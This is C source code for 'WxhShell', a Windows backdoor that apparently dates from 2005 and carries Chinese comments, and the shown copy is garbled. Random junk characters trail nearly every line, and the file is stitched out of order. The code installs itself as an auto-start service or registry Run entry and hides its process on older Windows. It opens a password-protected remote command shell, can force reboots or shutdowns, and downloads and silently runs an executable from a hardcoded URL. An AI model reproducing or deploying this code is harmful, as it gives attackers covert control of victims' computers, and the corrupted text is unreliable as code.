DWORD BasePriority; S2?)Sb`
ULONG UniqueProcessId; rB_ESNx
ULONG InheritedFromUniqueProcessId; 3
<Zo{;
} PROCESS_BASIC_INFORMATION; -^t&U]
g
o<rbC <
U
PROCNTQSIP NtQueryInformationProcess; +1Pu29B0
caZEZk#r;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; - XB[2h
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u?KG%
:<uCi\9(
HANDLE hProcess; H%;pPkIi
PROCESS_BASIC_INFORMATION pbi; }DQ[C&
B RtT 7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :AyZe7:(D
if(NULL == hInst ) return 0; Tvw(Sq};
Oyp)Wm;@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CFeAKjG
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pz-=Eq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BG+X8t8\
QY$4D;M`g6
if (!NtQueryInformationProcess) return 0; 9HAK
Jo9c|\4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;(IAhWE?7
if(!hProcess) return 0; :s|xa u=
F>at^6^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~HXZ-*
cd$,,
CloseHandle(hProcess); [Rzn>
,62BZyT,T,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _RX*Ps=
if(hProcess==NULL) return 0; =GLMdhD]
MsA)Y
HMODULE hMod; ,J'@e+jV
char procName[255]; sE0,b
unsigned long cbNeeded; osTin*T.
a!:R_P}7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yJw4!A 1!
42 Sk`
CloseHandle(hProcess); <@=w4\5j9
[q!)Y:|u_>
if(strstr(procName,"services")) return 1; // 以服务启动 a0Q\]S
dZ\T@9+j+
return 0; // 注册表启动 NjSjE_S2B8
} vo2 T P:
@m"P_1`*
// 主模块 I)4NCjcCw
int StartWxhshell(LPSTR lpCmdLine) :N>s#{+"3
{ ]BBjFs4#
SOCKET wsl; znd fIt^
BOOL val=TRUE; uB35CRd
int port=0; r;8$ 7C.
struct sockaddr_in door; E)F"!56lV
ZAMS;e+e
if(wscfg.ws_autoins) Install(); Ib$?[
[T#9#3
port=atoi(lpCmdLine); oOK&+r7
y?{YQ)fj
if(port<=0) port=wscfg.ws_port; *5;#+%A
)9>E} SU/
WSADATA data; +)TOcxF%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1(WNrVm;
!:Clzlg
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <4P"1#nHQ+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x)o`w"]al
door.sin_family = AF_INET; I ?i,21:5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rfxLCiV
door.sin_port = htons(port); nD;8)VI'I
OAtn.LU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Iw) 'Yyg
closesocket(wsl); ?TVR{e:
return 1; kc70HrG
} {V~Gr
NI?YUhg>
if(listen(wsl,2) == INVALID_SOCKET) { I%31MU9
closesocket(wsl); NKb,>TO
return 1; :HG5{zP
} W02swhS
Wxhshell(wsl); S4BU !
WSACleanup(); "+:IA|1wD
6,;7iA]
return 0; 6H}8^'/u
l@ W?qw
} 5 MD=o7O^
lGtTZcg
// 以NT服务方式启动 Ro|%pT
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iZ-"l3)D
{ YE\s<$
DWORD status = 0; IF$*6
,v.z
DWORD specificError = 0xfffffff; LdM9k(
"FT(U{^7d
serviceStatus.dwServiceType = SERVICE_WIN32; /NFcIU
serviceStatus.dwCurrentState = SERVICE_START_PENDING; CERT`W%o
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )j>BvO
serviceStatus.dwWin32ExitCode = 0; ;J3
(EB
serviceStatus.dwServiceSpecificExitCode = 0; D#G(&<Q
serviceStatus.dwCheckPoint = 0; Td6"o&0A!
serviceStatus.dwWaitHint = 0; '+cPx\4
]DO"2r
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'u{DFMB-A
if (hServiceStatusHandle==0) return; g x~fZOF_
mlD 1 o
status = GetLastError(); J<'I.KZ\z
if (status!=NO_ERROR) CsND:m
{ k)l^;x-
serviceStatus.dwCurrentState = SERVICE_STOPPED; evBr{oi@
serviceStatus.dwCheckPoint = 0; ZBAtRs
serviceStatus.dwWaitHint = 0; l@zr1g)
serviceStatus.dwWin32ExitCode = status; c _v;"Q Z
serviceStatus.dwServiceSpecificExitCode = specificError; .j)f'<;%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {)8!> K%G
return; y.:Z:w6$
} PHh&@:
eBW=bK~[VP
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6X@$xe847[
serviceStatus.dwCheckPoint = 0; LiF(#OuZ
serviceStatus.dwWaitHint = 0; BcvCm+.S:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d]*a:>58
} AGdFJ>/
&gL &@';,
// 处理NT服务事件,比如:启动、停止 tM$w0Cj
VOID WINAPI NTServiceHandler(DWORD fdwControl) #, KjJ
{ Uxyj\p
switch(fdwControl) U- a+LS
{ Do&/+Ssnu
case SERVICE_CONTROL_STOP: `bdCom
serviceStatus.dwWin32ExitCode = 0; 2-<i#nA3
serviceStatus.dwCurrentState = SERVICE_STOPPED; c=}#8d.
serviceStatus.dwCheckPoint = 0; '!%Zf;Fjr
serviceStatus.dwWaitHint = 0; _K?{DnTb
{ fQ,L~:Y =
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MZ{gU>K+
} VHlN;6Qlff
return; c9eLNVM
case SERVICE_CONTROL_PAUSE: cN5,\I.
serviceStatus.dwCurrentState = SERVICE_PAUSED; m*d {pX
break; f;nO$h[Qb
case SERVICE_CONTROL_CONTINUE: #Wz7ju;
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5IPZ;
break; {iI"Lt
case SERVICE_CONTROL_INTERROGATE: i@C1}o-/
break; 2)A% 'Akf
}; $#k 8xb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U '#Xwax
} #xMl<
'TF5CNX
// 标准应用程序主函数 hw@ `Q@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a&Stdh
{ .FarKW
)NoNgU\7!
// 获取操作系统版本 IwfJDJJ
OsIsNt=GetOsVer(); NEpomE(>x
GetModuleFileName(NULL,ExeFile,MAX_PATH); r{V=)h
<QUjhWxDb
// 从命令行安装 b=5"*=T{+
if(strpbrk(lpCmdLine,"iI")) Install(); =peodj^
xb2xl.2x!
// 下载执行文件 zJH#J=O
if(wscfg.ws_downexe) { /YP,Wfd%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s7A3CY]->
WinExec(wscfg.ws_filenam,SW_HIDE); @2LpI*]C
} 5d7AE^SHsH
%yjz@
if(!OsIsNt) { HinPO
// 如果时win9x,隐藏进程并且设置为注册表启动 % Rv;e
HideProc(); x:7"/H|
StartWxhshell(lpCmdLine); m44"qp
} +[JvpDv%
else >9Yo:b:f
if(StartFromService()) m#\I&(l+
// 以服务方式启动 " vW4"R6
StartServiceCtrlDispatcher(DispatchTable); Z%Kkh2-uh
else X 5.%e&`
// 普通方式启动 \iBEyr]
StartWxhshell(lpCmdLine); U?bQBHIC
Y<4%4>a
return 0; ?5N7,|K)
} =bx;TV
t",=]k
88@" +2
w$XqxI/&
=========================================== p;y\%i_
9+"R}Nxv^
4Bn
<L&@/
}{R?i,j(
W>+/N4
%nRz~3X|+v
" ^=COgO]e
q =\3jd
#include <stdio.h> TrYt(F{t
#include <string.h> bAUruTn
#include <windows.h> T3_3k.,|
#include <winsock2.h> S'h{["P~
0
#include <winsvc.h> A-&'/IHR"B
#include <urlmon.h> m0}1P]dc
qg`8f?
#pragma comment (lib, "Ws2_32.lib") }akF=/M
#pragma comment (lib, "urlmon.lib") <>Nq]WqA
&OMe'P
#define MAX_USER 100 // 最大客户端连接数 ,\DSi&T
#define BUF_SOCK 200 // sock buffer DjMhI_Yu
#define KEY_BUFF 255 // 输入 buffer ![ce=9@t<
'yw7|i2
#define REBOOT 0 // 重启 [ r<0[
#define SHUTDOWN 1 // 关机 G-DvM6T
U2DE zr
#define DEF_PORT 5000 // 监听端口 [PhT
zXt
?BEO(;'
#define REG_LEN 16 // 注册表键长度 e8Y;~OAj[
#define SVC_LEN 80 // NT服务名长度 Ih;I&D+e;
evLZ<|
// 从dll定义API `{B<|W$=
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ssx#\
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [b?[LK}.
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8rNRQOXOa
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /7o{%~O
@((Y[<
// wxhshell配置信息 Wu1">|
struct WSCFG { !D!1%@
e
int ws_port; // 监听端口 )Bb:?!EuEH
char ws_passstr[REG_LEN]; // 口令 ;+Mee^E>!
int ws_autoins; // 安装标记, 1=yes 0=no YM`I&!n
char ws_regname[REG_LEN]; // 注册表键名 Ltrw)H}
char ws_svcname[REG_LEN]; // 服务名 5/f"dX
char ws_svcdisp[SVC_LEN]; // 服务显示名 fhp+Ep!0Y
char ws_svcdesc[SVC_LEN]; // 服务描述信息 'k1vV
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l.Yq4qW
int ws_downexe; // 下载执行标记, 1=yes 0=no vyXL F'L
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;&~9k?v7L
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bPL.8hX
_enS_R
}; 9N*!C{VW
J^xIfV~zt
// default Wxhshell configuration ./r#\X)dc
struct WSCFG wscfg={DEF_PORT, }^"#&w3<
"xuhuanlingzhe", ^dP]3D1
@
1, 8_h:_7e
"Wxhshell", G>?'b
"Wxhshell", L_(Y[!
"WxhShell Service", ` &{
"Wrsky Windows CmdShell Service", -S6^D/(;
"Please Input Your Password: ", dZ;rn!dg>
1, TMAart;<
"http://www.wrsky.com/wxhshell.exe", RkTO5XO
"Wxhshell.exe" ^3
6oqe{
}; (V:)`A_-
9X ^D(
// 消息定义模块 X6SqOb\(a
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0m>?-/uDx
char *msg_ws_prompt="\n\r? for help\n\r#>";
-_p@I+B
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ELa:yIl0
char *msg_ws_ext="\n\rExit."; - D^.I
char *msg_ws_end="\n\rQuit."; b[;Zl<
char *msg_ws_boot="\n\rReboot..."; J=7<dEm&
char *msg_ws_poff="\n\rShutdown..."; C[2LP$6*/
char *msg_ws_down="\n\rSave to "; 1_RN*M+#
Fb^f`UI
char *msg_ws_err="\n\rErr!"; ~X2
cTG!,
char *msg_ws_ok="\n\rOK!"; -l i71.M
OtD!@GQ6
char ExeFile[MAX_PATH]; r6:c<p [c
int nUser = 0; [D= KI&@&O
HANDLE handles[MAX_USER]; b+!I_g4P
int OsIsNt; 1WJ%n;
-h1FrDBt
SERVICE_STATUS serviceStatus; 0OF ]|hH
SERVICE_STATUS_HANDLE hServiceStatusHandle; F?.J1]
Zzea
// 函数声明 T*v@hbJ
int Install(void); wW1>#F
int Uninstall(void); /aX#j`PrH
int DownloadFile(char *sURL, SOCKET wsh); _;8+L\
int Boot(int flag); kp>AZVk
void HideProc(void); n^:Wc[[m
int GetOsVer(void); ,W:Bh$%
int Wxhshell(SOCKET wsl); \r^*4P,,
void TalkWithClient(void *cs); bc ;(2D
int CmdShell(SOCKET sock); F%F :Gr/
int StartFromService(void); g4CdzN~
int StartWxhshell(LPSTR lpCmdLine); 0$e]?]X6
O({vHqN>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xGVL|/?8
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FEqR7
{xS\CC(g
// 数据结构和表定义 69K*]s
SERVICE_TABLE_ENTRY DispatchTable[] = qwmZOR#
{ &]euL:C
{wscfg.ws_svcname, NTServiceMain}, itmQH\9 8
{NULL, NULL} pGh A
}; G>H',iOI
{<}kqn83sT
// 自我安装 )Og,VXEB
int Install(void) p/GYfa
dU
{ {Kh u'c
char svExeFile[MAX_PATH]; "Ca?liy
HKEY key; tE>hj:p
strcpy(svExeFile,ExeFile); @vcvte
)/1,Ogb%_
// 如果是win9x系统,修改注册表设为自启动 \%ZF<sVW
if(!OsIsNt) { q<` g
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E%E3h1Ua
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ikbz3]F^V
RegCloseKey(key); =5yI>A0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q>X%MN y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h
r!Htew4
RegCloseKey(key); ctg[C$<q|
return 0; R0v5mD$:G
} &%/kPF~<
} Uhz<B #tj
} WV'FW)%
else { jLEwFPz
b-x,`s
// 如果是NT以上系统,安装为系统服务 !pNY`sw}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B3V=;zn3
if (schSCManager!=0) UEvRK?mm=
{ v!pT!(h4
SC_HANDLE schService = CreateService liUrw7,
( U_UX *
schSCManager, b%fn1Ag9
wscfg.ws_svcname, 27t23@{YL
wscfg.ws_svcdisp, HZ1e~IIw
SERVICE_ALL_ACCESS, 4oF8F)ASj
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `.FvuwP
SERVICE_AUTO_START, TuBl9 p'6
SERVICE_ERROR_NORMAL, T`;>Kq:s
svExeFile, T{iv4`'
NULL, L.[ H
NULL, *\Y \$w
NULL, XZv(B^
NULL, \wxS~T<&L
NULL wPn#>\/L
); _d'x6$Jg
if (schService!=0) 8gv\`
{ O6^>L0'
CloseServiceHandle(schService); A3p@hQl
CloseServiceHandle(schSCManager); _91g=pM
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LsnM5GU7
strcat(svExeFile,wscfg.ws_svcname); Bf;dp`(/
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cp0@wC#d
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u6AReL'f
RegCloseKey(key); ;~$_A4;
return 0; ?*~W
} BpL,<r,
} iw\RQ
0
CloseServiceHandle(schSCManager); *7Ct#GC
} 8I)66
} ysV0Ed
dyRKmLb
return 1; 3[E3]]OVa
} OAMsqeWYA
)z/+!y
// 自我卸载 ~a:0Q{>a
int Uninstall(void) hHsCr@i
{ ty|E[Ez1
HKEY key; K14e"w%6rs
%vvA'WG
if(!OsIsNt) { IcMfZ{H1
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z5re Fok
RegDeleteValue(key,wscfg.ws_regname); `Ym7XF&
RegCloseKey(key); _ji"##K
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y
'&&1R
RegDeleteValue(key,wscfg.ws_regname); F_o5(`>^
RegCloseKey(key); ^uIP
return 0; m$ZPQ0X
} R _WP r[P
} xJtblZ1sr
} 5t`< KRz)I
else { >M{=qs
>4>!zZ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -xS{{"-
if (schSCManager!=0) t{#Btd
{ ,U+y)w]ar
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0b%"=J2/p.
if (schService!=0) <R)%K);
{ j^#4!Ue
if(DeleteService(schService)!=0) { n $RhD93
CloseServiceHandle(schService); =e2|:Ba!
CloseServiceHandle(schSCManager); r>4HF"Nm
return 0; qRkY-0vBP
} I8;xuutc
CloseServiceHandle(schService); "]\sw"zO?
} ~.99H
CloseServiceHandle(schSCManager); oc+TsVt
} #zflU99d
} .{[+d3+,
-j1?lY
return 1; h"Qp e'D}
} &)[?D<
s8L=:hiSf)
// 从指定url下载文件 dU`kJ,=Z
int DownloadFile(char *sURL, SOCKET wsh) Fk(nf9M%
{ DX>Yf}
HRESULT hr; 0LEJnl
char seps[]= "/"; xNlxi
char *token; ~6YTm6o
char *file; FXMrD,qVg
char myURL[MAX_PATH]; i\~@2
char myFILE[MAX_PATH]; c>I(6$
T<:mG%Is
strcpy(myURL,sURL); *AK{GfP_
token=strtok(myURL,seps); ncw)VH;_-
while(token!=NULL) r<< ]41
{ HRQ3v`P.
file=token; fXNl27c-
token=strtok(NULL,seps); JZ=ahSi
} d$DNiJ ,
D,R"P }G
GetCurrentDirectory(MAX_PATH,myFILE); s{g^K#BoFi
strcat(myFILE, "\\"); 'M20v-[
strcat(myFILE, file); K
qK?w*Qw
send(wsh,myFILE,strlen(myFILE),0);
h{ xq
send(wsh,"...",3,0); .J=<E
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }EJAC*W,
if(hr==S_OK) w3hG\2)[HS
return 0; [f ._w~
else 0eJqDCmH
return 1; 'xK ,|U
b*5Yy/U
} J}zN]|bz
g>gVO@"b2
// 系统电源模块 XC*!=h*
int Boot(int flag) tJ3Hg8;
{ e-&0f);i
HANDLE hToken; %imI.6
TOKEN_PRIVILEGES tkp; :t)<$dtf[
:"G x
if(OsIsNt) { v35!?
5{
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^ "D
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1uwzo9Yg
tkp.PrivilegeCount = 1; w?JRY
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KkK
!E
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zn+5pn&?
if(flag==REBOOT) { oS0rP'V^
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +.3,(l
return 0; <>l!
} |'+ [ '
else { +$CO
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6s<w}O
return 0; +M s`C)f
} 9JtPP
} n/
m7+=]v
else { Kk9eJ\
if(flag==REBOOT) { .9uw@Eq
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `mp3ORR;$
return 0; 1RU+d.&D
} mo*ClU7
else { u27*-X
5
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4*9WxhJ ]0
return 0; p=jIDM'
} a?
<Ar#)j
} ?ISv|QpC
{8im{]8_
return 1; x7!YA>
} nq,P.~l
;n2b$MB?nM
// win9x进程隐藏模块 (
L ]C
void HideProc(void) dk@j!-q^
{ F#>^S9Gml
".|?A9m_
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Izc-W
if ( hKernel != NULL ) :/6gGU>pu
{ -guVl4 V
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j"J[dlm2M
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gU%R9
FreeLibrary(hKernel); *<IQ+oat,a
} rvwfQ'14
\?K>~{)
return; V+dFL9
} M].D27
yq,%ey8
// 获取操作系统版本 ATq-&1hs
int GetOsVer(void) H'2Un(#Al
{ j|c6BdROl
OSVERSIONINFO winfo; vkg."G:=
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qE)G;Y<,1
GetVersionEx(&winfo); $ 8WJ$73
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @K}8zMmW#
return 1; h8-'I=~
else A_}%YHb
return 0; L|pJ\~
} 1u\kxlZ
"YQ%j+
// 客户端句柄模块 j[q$;uSD
int Wxhshell(SOCKET wsl) B9Z=`c.T
{ F)Qj<6
SOCKET wsh; ;x~[om21;
struct sockaddr_in client; [ Cu3D
DWORD myID; Q{))+'s2h
D-!#TN`Y
while(nUser<MAX_USER) cQ<* (KU
{ nbM7 >tnsk
int nSize=sizeof(client); YTo^Q&
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i<]Y0_?s
if(wsh==INVALID_SOCKET) return 1; eV x
&S a
eOI#T'5
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k3FpD=N
if(handles[nUser]==0) /qalj\ud
closesocket(wsh); TR([u
else TPeBb8v8D
nUser++; O&c~7tM%
} <(<19t5 .
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c?1:='MC
Q8sCI An{
return 0; ;n-IpR#|
} ^"?b!=n!
*;I F^u1
// 关闭 socket [Y^1}E*
void CloseIt(SOCKET wsh) !agtgS$qII
{ l.wf= /
closesocket(wsh); Q(e 3-a
nUser--; A t#'q>Dn
ExitThread(0); koizk&)
} )5M9Ro7
VN1a\
// 客户端请求句柄 P!JRIw
void TalkWithClient(void *cs) _Di}={1[.
{ G3G"SJ np
4gNF;
SOCKET wsh=(SOCKET)cs; 6c/Tm0[
char pwd[SVC_LEN]; #
Y*cLN`Y7
char cmd[KEY_BUFF]; 7
i|_PP_
char chr[1]; m ) 2t<
int i,j; W]v[Xm$q
[-bT_X
while (nUser < MAX_USER) { Q3vWwP;t~
N!e?K=}tL
if(wscfg.ws_passstr) { rl,6ru
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AjQ^
{P
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mmVx',k
//ZeroMemory(pwd,KEY_BUFF); 62Ab4!
i=0; +c699j;[
while(i<SVC_LEN) { O_p:`h:;M
fQ&:1ec
// 设置超时 1MV\
^l_
fd_set FdRead; M- 2:$;D
struct timeval TimeOut; BHwQB2t gc
FD_ZERO(&FdRead); #@m*yJg<